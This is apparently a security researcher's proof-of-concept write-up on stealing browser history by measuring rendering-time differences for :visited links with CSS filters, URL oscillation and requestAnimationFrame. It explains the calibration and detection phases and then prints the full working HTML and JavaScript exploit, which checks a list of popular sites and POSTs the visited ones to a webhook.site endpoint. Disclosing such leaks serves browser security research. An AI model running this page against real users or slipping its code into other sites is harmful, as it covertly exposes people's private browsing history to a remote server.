Stealing Users Browser History through CSS leaks requestAnimationFrame and :visited
This proof of concept demonstrates timing-based history sniffing attack that can detect which websites a user has previously visited, and therefore leak the browser history and leak the visited sites to a remote server. Let's break down the key components and techniques.
Core Attack Mechanism
The attack leverages microsecond-level timing differences in how browsers render visited vs. unvisited links. The implementation uses requestAnimationFrame for high-precision timing measurements.
Key Components
The leak()
function is the core measurement mechanism of the attack. Let's break down its key elements:
-
Dynamic URL Generation:
- Creates a unique baseline URL for each test using random values and timestamps
const basisUrl = "https://" + Math.random() + "/" + Date.now();
- This ensures fresh comparison points for each measurement
-
Enhanced Link Styling: The function creates links with specific CSS properties chosen to maximize rendering differences:
const link = document.createElement('a'); link.style.filter = 'contrast(200%) drop-shadow(16px 16px 10px #fefefe) saturate(200%)'; link.style.transform = 'perspective(100px) rotateY(37deg)';
- Filters: Uses multiple CPU-intensive filters to increase rendering workload
- 3D Transforms: Applies perspective and rotation to force complex calculations
- These properties are specifically chosen because they trigger different rendering paths for visited vs. unvisited links
-
Complex Text Content:
const garbageText = "業雲多受片主好些天事開後起主在小工過商友全行打回化高全水點強的基聯形要北壓好接畫".repeat(28);
- Uses Chinese characters to increase rendering complexity
- Characters are repeated to create larger rendering workload
- Complex Unicode characters require additional processing time
- The repetition (28 times) is calibrated for optimal timing differences
This combination of dynamic URLs, complex CSS properties, and Unicode text creates measurable timing differences between visited and unvisited links, forming the foundation of the timing attack.
Attack Phases
1. Calibration Phase
The attack first establishes a baseline by measuring rendering times for known unvisited URLs:
const controlValues = [];
for (let i = 0; i < 5; i++) {
controlValues.push(await leak("https://" + Math.random() + "/" + Date.now()));
}
const controlTicks = controlValues.sort((a,b) => a-b)[Math.floor(controlValues.length/2)];
2. Detection Phase
For each target URL, the code:
- Measures rendering time using the
leak()
function - Compares the result against the control measurement
- Uses a threshold to determine if a URL was visited
const ticks = await leak(url);
console.log(`${url} ticks:`, ticks);
const isVisited = ticks / controlTicks < 0.7;
Understanding the 0.7 Threshold
The PoC relies on a threshold value of 0.7 (70%). This number was determined through testing and represents a key observation: visited links consistently render approximately 30-40% faster than unvisited links due to different rendering paths triggered by the :visited
selector. This could be optimized in a even more reliable way.
When we divide the measured ticks by our control measurement:
- Values < 0.7 indicate a visited URL (rendering was significantly faster)
- Values ≥ 0.7 indicate an unvisited URL (rendering time similar to control)
3. Exfiltration Phase
Discovered URLs are sent to a remote server:
fetch('https://webhook.site/{webhook_id}/', {
method: 'POST',
body: JSON.stringify({
visitedUrls: visitedUrls,
timestamp: new Date().toISOString()
})})
Which will send the visited URLs to the webhook site.
{
"visitedUrls": [
"https://x.com",
"https://www.facebook.com",
"https://www.curacao.com"
],
"timestamp": "2024-12-10T19:30:03.797Z"
}
Technical Details
Timing Amplification Techniques
-
Visual Complexity: The attack uses CSS properties to amplify rendering time differences:
- Perspective Transforms: This property gives elements a 3D effect by altering their perspective, increasing rendering complexity as the browser calculates 3D transformations.
- Example:
link.style.transform = 'perspective(100px) rotateY(37deg)';
- Drop Shadows: Adds shadow effects to elements, requiring additional rendering calculations for shadow interaction with elements and surroundings.
- Example:
link.style.filter = 'drop-shadow(16px 16px 10px #fefefe) saturate(200%)';
- Contrast and Saturation Filters: Adjusts visual appearance by altering color properties, making rendering more computationally intensive and affecting timing.
- Example:
link.style.filter = 'contrast(150%) saturate(200%);
- Text Shadows: Similar to drop shadows, these add shadow effects to text, requiring calculations for shadow position and appearance relative to text.
- Example:
link.style.textShadow = '2px 2px 3px #000;
- Complex Unicode Text: Increases rendering workload due to intricate shapes or special font handling, further amplifying timing differences.
- Example:
Using a string like this which contains complex Unicode characters, can increase rendering complexity."業雲多受片主好些天事開後起主在小工過商友全行打回化高全水點強的基聯形要北壓好接畫"
- Perspective Transforms: This property gives elements a 3D effect by altering their perspective, increasing rendering complexity as the browser calculates 3D transformations.
-
URL Oscillation: Rapidly switches the link's href between target and baseline URLs: The URL oscillation technique is a critical component that amplifies the timing differences between visited and unvisited links:
const startOscillating = () => {
oscillateInterval = setInterval(() => {
link.href = isPointingToBasisUrl ? url : basisUrl;
isPointingToBasisUrl = !isPointingToBasisUrl;
}, 0);
};
How URL Oscillation Works
-
Rapid URL Switching
- The code uses
setInterval
with a 0ms delay to switch URLs as fast as possible - It alternates between the target URL (being tested) and a random baseline URL
- Each switch triggers browser's style recalculation mechanisms
- The code uses
-
Style Processing Exploitation
- When a link points to a visited URL, browsers must apply
:visited
styles - This style application process has slightly different timing characteristics
- Unvisited URLs skip certain style processing steps
- The rapid oscillation amplifies these microscopic timing differences
- When a link points to a visited URL, browsers must apply
-
Measurement Enhancement
- Combined with
requestAnimationFrame
timing, oscillation makes differences more detectable - The faster the oscillation, the more data points we collect per measurement
- This helps reduce noise and increase attack reliability
- Combined with
-
Precise Timing: Uses
requestAnimationFrame
for high-resolution timing measurements:
The attack uses requestAnimationFrame
as a high-precision timer to measure rendering differences. Here's how it works:
const startCounting = () => {
tickRequestId = requestAnimationFrame(() => {
tickCount++;
startCounting();
});
};
How the Timing Mechanism Works
-
Frame Counter:
- The code creates a recursive loop using
requestAnimationFrame
- Each frame, it increments
tickCount
- More frames = more time elapsed
- The code creates a recursive loop using
-
Precision Benefits:
- Unlike
setTimeout
orsetInterval
,requestAnimationFrame
syncs with the browser's render cycle - This provides more consistent and precise timing measurements
- Helps detect subtle rendering time differences between visited/unvisited links
- Unlike
-
Measurement Process:
- Start counting frames
- Begin URL oscillation
- After 500ms, stop counting
- Compare final tick count against baseline
- Lower tick counts indicate faster rendering (visited links)
The timing mechanism is crucial because it can detect microsecond-level differences in rendering time, making the attack possible even with modern browser protections.
Visual Feedback
The implementation includes a grid display showing visited sites with red indicators and provides real-time feedback through a message container: This is just a simple UI to show the results and the visited sites as Proof of Concept. This is not a real attack, but a proof of concept. In a real attack, the UI would be much more sophisticated and the attack would be much more stealthy.
.visited-indicator {
position: absolute;
top: 5px;
right: 5px;
width: 10px;
height: 10px;
border-radius: 50%;
background: red;
opacity: 0;
transition: opacity 0.3s;
}
.box.visited .visited-indicator {
opacity: 1;
}
Full Exploit Code
This is the full code of the PoC. It's a simple HTML page that allows you to start the attack and see the results by clicking the start button. To exfiltrate the data, you can use a webhook site like webhook.site. When a user visits a site, the site will send the browser history to the webhook site.
<head>
<style>
/* Base styles */
body {
font-family: Arial, sans-serif;
padding: 20px;
}
.grid {
padding: 8px;
background-color: white;
display: grid;
gap: 4px;
grid-template-columns: repeat(5, 1fr);
max-width: 1200px;
margin: 20px auto;
}
.box {
aspect-ratio: 1 / 1;
position: relative;
border: 1px solid lightgrey;
}
.box a {
color: white;
background-color: white;
outline-color: white;
display: block;
width: 100%;
height: 100%;
transition: none;
}
.box a:visited {
color: #feffff;
background-color: #fffeff;
outline-color: #fffffe;
}
.box .label {
position: absolute;
bottom: 0;
left: 0;
right: 0;
font-size: 12px;
word-break: break-all;
background: rgba(255,255,255,0.9);
padding: 4px;
text-align: center;
}
#messages {
position: fixed;
top: 10px;
right: 10px;
padding: 20px;
background: #fff;
font-family: monospace;
z-index: 1000;
border: 1px solid #ddd;
border-radius: 4px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
#start {
padding: 10px 20px;
font-size: 16px;
cursor: pointer;
background: #2196F3;
color: white;
border: none;
border-radius: 4px;
}
#start:disabled {
background: #ccc;
}
.visited-indicator {
position: absolute;
top: 5px;
right: 5px;
width: 10px;
height: 10px;
border-radius: 50%;
background: red;
opacity: 0;
transition: opacity 0.3s;
}
.box.visited .visited-indicator {
opacity: 1;
}
</style>
</head>
<body>
<h1>Browser History Detector</h1>
<button id="start" onclick="start()">Start Exfiltration</button>
<div id="grid" class="grid"></div>
<pre id="messages"></pre>
<script>
const urlsToCheck = {
"https://www.google.com": false,
"https://x.com": false,
"https://www.facebook.com": false,
"https://www.youtube.com": false,
"https://github.com": false,
"https://www.reddit.com": false,
"https://www.wikipedia.org": false,
"https://www.amazon.com": false,
"https://netflix.com": false,
"https://linkedin.com": false,
"https://instagram.com": false,
"https://tiktok.com": false,
"https://spotify.com": false,
"https://discord.com": false,
"https://twitch.tv": false,
"https://www.curacao.com": false
};
const grid = document.getElementById("grid");
const msgContainer = document.getElementById("messages");
let w;
async function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function createBox(url) {
const box = document.createElement("div");
box.classList.add("box");
const link = document.createElement("a");
link.href = url;
const indicator = document.createElement("div");
indicator.classList.add("visited-indicator");
const label = document.createElement("div");
label.classList.add("label");
label.textContent = new URL(url).hostname.replace('www.', '');
box.appendChild(link);
box.appendChild(indicator);
box.appendChild(label);
return box;
}
function updateResults() {
const visitedLinks = Object.entries(urlsToCheck)
.filter(([_, visited]) => visited)
.map(([url, _]) => `You visited ${new URL(url).hostname}`);
msgContainer.textContent = "Visited Sites:\n" + visitedLinks.join('\n');
// Send visited URLs to server
const visitedUrls = Object.entries(urlsToCheck)
.filter(([_, visited]) => visited)
.map(([url, _]) => url);
fetch('https://webhook.site/{webhook_id}/', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
visitedUrls: visitedUrls,
timestamp: new Date().toISOString()
})
})
.catch(error => console.error('Error sending visited URLs:', error));
}
async function leak(url) {
return new Promise((resolve) => {
const basisUrl = "https://" + Math.random() + "/" + Date.now();
const link = document.createElement('a');
link.id = 'target';
link.href = basisUrl;
link.style.display = 'block';
link.style.width = '5px';
link.style.fontSize = '2px';
link.style.outlineWidth = '24px';
link.style.textAlign = 'center';
link.style.filter = 'contrast(200%) drop-shadow(16px 16px 10px #fefefe) saturate(200%)';
link.style.textShadow = '16px 16px 10px #fefffe';
link.style.transform = 'perspective(100px) rotateY(37deg)';
const garbageText = "業雲多受片主好些天事開後起主在小工過商友全行打回化高全水點強的基聯形要北壓好接畫".repeat(28);
link.appendChild(document.createTextNode(garbageText));
document.body.appendChild(link);
let tickCount = 0;
let tickRequestId;
let oscillateInterval;
let isPointingToBasisUrl = true;
const startCounting = () => {
tickRequestId = requestAnimationFrame(() => {
tickCount++;
startCounting();
});
};
const startOscillating = () => {
oscillateInterval = setInterval(() => {
link.href = isPointingToBasisUrl ? url : basisUrl;
isPointingToBasisUrl = !isPointingToBasisUrl;
}, 0);
};
requestAnimationFrame(() => {
requestAnimationFrame(async () => {
startCounting();
startOscillating();
await sleep(500);
clearInterval(oscillateInterval);
cancelAnimationFrame(tickRequestId);
const result = tickCount;
tickCount = 0;
document.body.removeChild(link);
resolve(result);
});
});
});
}
async function start() {
document.getElementById("start").disabled = true;
grid.innerHTML = "";
// Get multiple control values and use median
const controlValues = [];
for (let i = 0; i < 5; i++) {
controlValues.push(await leak("https://" + Math.random() + "/" + Date.now()));
}
const controlTicks= controlValues.sort((a,b)=> a-b)[Math.floor(controlValues.length/2)];
console.log('Control ticks:', controlTicks);
for (let url in urlsToCheck) {
const ticks= await leak(url);
console.log(`${url} ticks:`, ticks);
const isVisited= ticks / controlTicks < 0.7;
if (isVisited) {
const box= createBox(url);
box.classList.add('visited');
grid.appendChild(box);
urlsToCheck[url]= true;
}
}
updateResults();
document.getElementById("start").disabled= false;
}
// Remove window-related code
window.onbeforeunload= null;
clearInterval(closeChecker);
</script>
</body>